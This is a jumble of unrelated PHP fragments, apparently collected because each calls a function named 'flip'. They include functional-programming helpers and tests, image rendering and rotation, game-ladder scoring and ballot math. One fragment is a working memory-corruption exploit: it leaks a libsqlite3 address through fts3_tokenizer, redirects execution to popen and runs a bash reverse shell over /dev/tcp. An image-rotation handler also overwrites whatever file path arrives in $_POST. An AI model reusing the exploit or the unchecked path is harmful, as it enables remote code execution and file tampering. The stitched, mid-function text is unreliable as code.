function generic2($chart, $data) { $out = flip($data); $result = array(); $result["cat"] = $out[$chart["xAxis"]["attribute"]]; $result["series"] = $out[$chart["series"][0]["min"]]; return $result; }
function test_flip() { $a = function ($a, $b) { return pow($a, $b); }; $b = function ($a, $b, $c) { return $a . $b . $c; }; $af = flip($a); $bf = flip($b); return is_identical($af(10, 2), $a(2, 10)) && is_identical($bf('a', 'b', 'c'), $b('b', 'a', 'c')); }
function caseify($str) { global $cm_prev; $str = strtolower($str); $len = strlen($str); do { $cm = mt_rand() % 4; } while ($cm == $cm_prev); $cm_prev = $cm; switch ($cm) { case 1: $str = strtoupper($str); break; case 2: case 3: $str[0] = flip($str[0]); break; //case 2: // $str[$len-1] = flip($str[$len-1]); // break; } return $str; }
}, 'compose1' => function ($x, $y, $z) { return call(compose(plus($x), mult($y)), $z) !== $x + $y * $z; }, 'compose2' => function ($x, $y, $z) { return call(compose(mult($x), plus($y)), $z) !== $x * ($y + $z); }, 'compose3' => function ($x, $y, $z) { $f = flip('map', [$x, $y]); $c = compose($f, 'plus'); return $c($z) !== [$x + $z, $y + $z]; }, 'compose4' => function ($n) { return call(compose('id', 'id'), $n) !== $n; }, 'compose5' => function ($x, $y, $z) { return call(compose(plus($x), plus($y)), $z) !== $x + $y + $z; }, 'compose6' => function ($x, $y, $z) { return call(compose(flip('plus', $x), plus($y)), $z) !== $x + $y + $z; }, 'compose7' => function ($x, $y, $z) { $f = flip('map', [$x, $y]); $c = compose($f, 'plus'); return $c($z) !== [$x + $z, $y + $z]; }, 'compose8' => function ($x, $y) { $c = compose(with($x), 'plus'); return $c($y) !== $x + $y; }, 'sum' => function () { return sum($xs = range(0, mt_rand(1, 100))) !== array_reduce($xs, 'plus', 0); }, 'random1' => function () { return !is_int(random(null)); }, 'mem1' => function () { return mem('true') <= 0; }, 'upto1' => function ($n) { return count(upto($n % 100)) !== $n % 100; }, 'between1' => function () { return between(5, 10) !== [5, 6, 7, 8, 9, 10];
<?php $fh = fopen($argv[1], 'r'); function flip($locks) { for ($i = 2; $i < count($locks); $i += 3) { $locks[$i] = !$locks[$i]; } return $locks; } function lock($locks) { for ($i = 1; $i < count($locks); $i += 2) { $locks[$i] = true; } return $locks; } while (false !== ($line = fgets($fh))) { list($count, $runs) = explode(' ', trim($line)); $unlocked = 0; $locks = array_fill(0, $count, false); for ($i = 1; $i < $runs; $i++) { $locks = lock($locks); $locks = flip($locks); } $locks[count($locks) - 1] = !$locks[count($locks) - 1]; foreach ($locks as $lock) { $unlocked += (int) (!$lock); } echo $unlocked . PHP_EOL; }
// .text:00000000002F138F mov [rsp+88h+var_58], rdx // .text:00000000002F1394 mov rax, fs:28h // .text:00000000002F139D mov [rsp+88h+var_40], rax // .text:00000000002F13A2 xor eax, eax // .text:00000000002F13A4 mov [rsp+88h+var_50], rcx // .text:00000000002F13A9 mov [rsp+88h+var_48], 0 // .text:00000000002F13B2 call _popen $system = 0x2f137a; // libsqlite3 $simpleTokenizerModule = 0x2c1be0; $simpleCreate = 0x29400; $db = new SQLite3(":memory:"); if (isset($_GET['base'])) { // step two $libmysqlnd_base = hexdec($_GET['base']); $stage = $libmysqlnd_base + $fake_module; $bomb = flip(dechex($stage)); $db->exec("select fts3_tokenizer('simple', x'{$bomb}');\n create virtual table a using fts3;\n insert into a values('bash -c \"bash>/dev/tcp/127.1/1337 0<&1\"')"); } else { // step one $row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray(); $leaked_addr = $row['addr']; $db->close(); $addr = hexdec(flip($leaked_addr)); $libsqlite3_base = $addr - $simpleTokenizerModule; $libphp_base = $libsqlite3_base + 0x6234000; $libmysqlnd_base = $libsqlite3_base + 0x113a000; $simple_create = $libsqlite3_base + $simpleCreate; my_ini_set(array('mysqlnd.net_cmd_buffer_size' => $simple_create, 'mysqlnd.log_mask' => $libphp_base + $system)); die(dechex($libmysqlnd_base)); }
public function testFlip() { $this->assertSame([1 => 'a', 2 => 'b', 3 => 'c'], toArrayWithKeys(flip(['a' => 1, 'b' => 2, 'c' => 3]))); }
function renderBodyBack($filename) { $filename_def = base_url('img/recursos/steve.png'); header("Content-type: image/png"); // Load $rendered = imagecreatetruecolor(240, 480); if (@GetImageSize($filename)) { $source = imagecreatefrompng($filename); } else { $source = imagecreatefrompng($filename_def); } $b = 120; $s = 8; // Fill the new image with pink and set pink as the transparent colour $pink = imagecolorallocate($rendered, 255, 0, 255); imagefilledrectangle($rendered, 0, 0, 240, 480, $pink); imagecolortransparent($rendered, $pink); $fsource = flip($source); imagecopyresampled($rendered, $source, $b / 2, 0, $s * 3, $s, $b, $b, $s, $s); // Copy head imagecopyresampled($rendered, $source, $b / 2, 0, $s * 7, $s, $b, $b, $s, $s); // Copy the head accesory imagecopyresampled($rendered, $source, $b / 2, $b, $s * 4, $s * 2.5, $b, $b * 1.5, $s, $s * 1.5); // Copy the body imagecopyresampled($rendered, $source, $b * 1.5, $b, $s * 6.5, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5); // Copy the left arm imagecopyresampled($rendered, $fsource, 0, $b, $s * 1, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5); // Copy the right arm imagecopyresampled($rendered, $source, $b * 1, $b * 2.5, $s * 1.5, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5); // Copy the left leg imagecopyresampled($rendered, $fsource, 60, $b * 2.5, $s * 6, $s * 2.5, $b / 2, $b * 1.5, $s / 2, $s * 1.5); // Copy the right leg return imagepng($rendered); }
static $curried = true; return array_reduce($funcs, function ($x, $f) { return call_user_func(op($f), $x); }, call_user_func_array($f, func_get_args())); }; } defun('implode_', 'implode'); defun('join_', implode_('')); defun('concat', function ($n) { return compose('join_', array_($n)); }); defun('thunk', function ($x, $_) { return $x; }); defun('nil', thunk([])); defuns(['filter' => flip(nary('array_filter', 2)), 'sum' => nary('array_sum', 1)]); defuns(['keys' => nary('array_keys', 1), 'values' => nary('array_values', 1), 'merge' => nary('array_merge', 2), 'foldr' => function ($f, $zero, $arr) { // Take args in a sane order return array_reduce($arr, $f, $zero); }, 'key_foldr' => function ($f, $zero) { return compose(foldr($f, $zero), key_map(array_(2))); }, 'subscript' => function ($x, $y) { return $x[$y]; }, 'take' => function ($n, $a) { return array_slice($a, 0, $n); }, 'cons' => function ($x, $y) { return merge([$x], $y); }, 'snoc' => function ($x, $y) { return merge($y, [$x]); }, 'echo_' => function ($x) { echo $x;
$data = @getimagesize($filename); if ($data == false) { return false; } //读取旧图片 switch ($data[2]) { case 1: $src_f = imagecreatefromgif($filename); break; case 2: $src_f = imagecreatefromjpeg($filename); break; case 3: $src_f = imagecreatefrompng($filename); break; } if ($src_f == "") { return false; } $rotate = @imagerotate($src_f, $degrees, 0); if (!imagejpeg($rotate, $src, 100)) { return false; } @imagedestroy($rotate); return true; } if ($_SERVER['REQUEST_METHOD'] == 'POST' && $_POST['type'] == 'turn_photo') { $filepath = $_POST['name']; $degrees = $_POST['degrees']; flip($filepath, $filepath, $degrees); }
function calculateGamePointsReportGame(&$winner1, &$winner2, &$loser1, &$loser2, $winnerresult, $loserresult, &$winnerteam, &$loserteam, $ratingOldWinner1, $ratingOldWinner2, $ratingOldLoser1, $ratingOldLoser2, $pointsOldWinner1, $pointsOldWinner2, $pointsOldLoser1, $pointsOldLoser2, $type, $isDraw, &$comment, $sixGameId) { $msg = ""; $singleBonus = 1.4; $doublePenalty = 0.6; if ($type == "1on1") { $ratingoldwinnerAvg = $ratingOldWinner1; $ra2oldwinnerAvg = $pointsOldWinner1; $ratingoldloserAvg = $ratingOldLoser1; $ra2oldloserAvg = $pointsOldLoser1; } else { if ($type == "2on1") { $ratingoldwinnerAvg = round(($ratingOldWinner1 + $ratingOldWinner2) / 2); $ra2oldwinnerAvg = round(($pointsOldWinner1 + $pointsOldWinner2) / 2); $ratingoldloserAvg = $ratingOldLoser1; $ra2oldloserAvg = $pointsOldLoser1; $msg .= "<p>" . getPlayerLinkBold($winner1) . "–" . getPlayerLinkBold($winner2) . " points average: <b>{$ra2oldwinnerAvg}</b></p>"; } else { if ($type == "1on2") { $ratingoldwinnerAvg = $ratingOldWinner1; $ra2oldwinnerAvg = $pointsOldWinner1; $ratingoldloserAvg = round(($ratingOldLoser1 + $ratingOldLoser2) / 2); $ra2oldloserAvg = round(($pointsOldLoser1 + $pointsOldLoser2) / 2); $msg .= "<p>" . getPlayerLinkBold($loser1) . "–" . getPlayerLinkBold($loser2) . " points average: <b>{$ra2oldloserAvg}</b></p>"; } else { $ratingoldwinnerAvg = round(($ratingOldWinner1 + $ratingOldWinner2) / 2); $ra2oldwinnerAvg = round(($pointsOldWinner1 + $pointsOldWinner2) / 2); $ratingoldloserAvg = round(($ratingOldLoser1 + $ratingOldLoser2) / 2); $ra2oldloserAvg = round(($pointsOldLoser1 + $pointsOldLoser2) / 2); $msg .= "<p>" . getPlayerLinkBold($winner1) . "–" . getPlayerLinkBold($winner2) . " points average: <b>{$ra2oldwinnerAvg}</b></p>"; $msg .= "<p>" . getPlayerLinkBold($loser1) . "–" . getPlayerLinkBold($loser2) . " points average: <b>{$ra2oldloserAvg}</b></p>"; } } } $ratingdiff = getRatingDifference($ratingoldwinnerAvg, $ratingoldloserAvg); if ($isDraw > 0) { $ra2newwinneradd = getLadderPointsDraw($ra2oldloserAvg, $ra2oldwinnerAvg); $ra2newloserrem = getLadderPointsDraw($ra2oldwinnerAvg, $ra2oldloserAvg); } else { if ($ra2oldwinnerAvg > $ra2oldloserAvg) { $ra2newwinneradd = getLadderPointsBetterWon($ra2oldloserAvg, $ra2oldwinnerAvg); $ra2newloserrem = getLadderPointsBetterWon($ra2oldwinnerAvg, $ra2oldloserAvg); } else { if ($ra2oldwinnerAvg <= $ra2oldloserAvg) { $ra2newwinneradd = getLadderPointsBetterLost($ra2oldloserAvg, $ra2oldwinnerAvg); $ra2newloserrem = getLadderPointsBetterLost($ra2oldwinnerAvg, $ra2oldloserAvg); } } } if ($type == "2on1") { $penalty = round($ra2newwinneradd * $doublePenalty); $winPenalty = $ra2newwinneradd - $penalty; $msg .= "<p>{$type} win points penalty: <b>-{$winPenalty}</b></p>"; $ra2newwinneradd = round($penalty); $ra2newloserrem = round($ra2newloserrem * $doublePenalty); } else { if ($type == "1on2") { $bonus = round($ra2newwinneradd * $singleBonus); $winBonus = $bonus - $ra2newwinneradd; $msg .= "<p>{$type} win points bonus: <b>+{$winBonus}</b></p>"; $ra2newwinneradd = round($bonus); $ra2newloserrem = round($ra2newloserrem * $singleBonus); } else { if ($type == "2on2") { $ra2newwinneradd = round($ra2newwinneradd); $ra2newloserrem = round($ra2newloserrem); } } } // draw? if ($isDraw > 0) { $ratingdiff = 0; if ($ra2oldwinnerAvg > $ra2oldloserAvg) { // point winner(s) must go to the left side // names flip($winner1, $loser1); flip($winner2, $loser2); flip($pointsOldWinner1, $pointsOldLoser1); flip($pointsOldWinner2, $pointsOldLoser2); flip($winnerteam, $loserteam); if (is_null($sixGameId)) { // add reporter to comment $comment = "[reported by {$loser1}] " . $comment; } } } $cowardFactor = getCowardFactor($ra2oldwinnerAvg, $ra2oldloserAvg); if ($cowardFactor < 1) { $msg .= "<p>500+ ladder points each - win/lose points reduced by factor <b>{$cowardFactor}</b></p>"; $ra2newwinneradd = round($ra2newwinneradd * $cowardFactor); $ra2newloserrem = round($ra2newloserrem * $cowardFactor); } $teamBonusArray = getTeamBonus($winnerteam, $loserteam, $isDraw, $ra2newwinneradd); $teamBonusWinner = $teamBonusArray['bonusWinner']; $ra2winneraddbonus = $ra2newwinneradd + $teamBonusWinner; if ($teamBonusWinner > 0) { $teamBonusWinnerDisplay = "(+" . $teamBonusWinner . " for team)"; } $msg .= $teamBonusArray['msg']; // set new points amount $ra2newwinner = $pointsOldWinner1 + $ra2winneraddbonus; $msg .= "<p>" . getPlayerLinkBold($winner1) . " wins {$ra2winneraddbonus} {$teamBonusWinnerDisplay} for a total of {$ra2newwinner} points.</p>"; if (!empty($winner2)) { $ra2newwinner2 = $pointsOldWinner2 + $ra2winneraddbonus; $msg .= "<p>" . getPlayerLinkBold($winner2) . " wins {$ra2winneraddbonus} {$teamBonusWinnerDisplay} for a total of {$ra2newwinner2} points.</p>"; } $ra2newloserremL1 = 0; $ra2newloser = getLosePoints($pointsOldLoser1, $ra2newloserrem, $ra2newloserremL1); $msg .= "<p>" . getPlayerLinkBold($loser1) . " loses {$ra2newloserremL1} for a total of {$ra2newloser} points.</p>"; if (!empty($loser2)) { $ra2newloserremL2 = 0; $ra2newloser2 = getLosePoints($pointsOldLoser2, $ra2newloserrem, $ra2newloserremL2); $msg .= "<p>" . getPlayerLinkBold($loser2) . " loses {$ra2newloserremL2} for a total of {$ra2newloser2} points.</p>"; } $result = array(); $result["ratingdiff"] = $ratingdiff; $result["pointsNewWinner1"] = $ra2newwinner; $result["pointsNewWinner2"] = $ra2newwinner2; $result["pointsNewLoser1"] = $ra2newloser; $result["pointsNewLoser2"] = $ra2newloser2; $result["addPointsWinner"] = $ra2winneraddbonus; $result["removePointsLoser1"] = $ra2newloserremL1; $result["removePointsLoser2"] = $ra2newloserremL2; $result["teamBonusWinner"] = $teamBonusWinner; $result["message"] = $msg; return $result; }
function rerunForNeitherOnBallot($cands, $pairs, $ballots) { $old_pairs = $pairs; $new_pairs = $pairs; foreach ($ballots as $ballot) { $cands_missing_on_this_ballot = array(); foreach ($cands as $miss) { if (!in_array($miss, $ballot)) { $cands_missing_on_this_ballot[] = $miss; } } foreach ($cands_missing_on_this_ballot as $I) { foreach ($cands_missing_on_this_ballot as $J) { if ($I != $J) { $ballots_with_neither = array(); foreach ($ballots as $bal) { if (!in_array($I, $bal) and !in_array($J, $bal)) { $ballots_with_neither[] = $bal; } } //per Tse-min algorithm $V = count($ballots); $M = floor($V / 2) + 1; $C = count($cands); $R = count($ballots) - count($ballots_with_neither); $S = count($ballots_with_neither); $T = $old_pairs[$I][$J]; $IbeatJ = $old_pairs[$I][$J]; $JbeatI = $old_pairs[$J][$I]; $prob = $IbeatJ / ($IbeatJ + $JbeatI); $Q = $prob; $k_range = $M - $T - 1; if ($M - $S <= $T && $T < $M) { $sum = 0; foreach (range(0, $k_range) as $k) { $sum += binomial($S, $Q, $k); } $new_prob = 1 - $sum; } if ($T + $S < $M) { $new_prob = 0; } if ($T >= $M) { $new_prob = 1; } global $PRINT; if ($PRINT) { print "\n----------------------\n"; print "I is {$I}\n"; print "J is {$J}\n"; print "V is {$V}\n"; print "M is {$M}\n"; print "C is {$C}\n"; print "R is {$R}\n"; print "S is {$S}\n"; print "T is {$T}\n"; print "Q is {$Q}\n"; print "k range is {$k_range}\n"; print "calculated probability is {$new_prob}\n"; } if (flip($new_prob)) { $new_pairs[$I][$J] += 1; } else { // $new_pairs[$J][$I] += 1; } } } } } return $new_pairs; }
function match($str, $char) { $depth = 0; $i = 0; foreach (str_split($str) as $s) { if ($depth == 1 && $s == flip($char)) { return $i; } if ($s == $char) { $depth++; } if ($s == flip($char)) { $depth--; } $i++; } }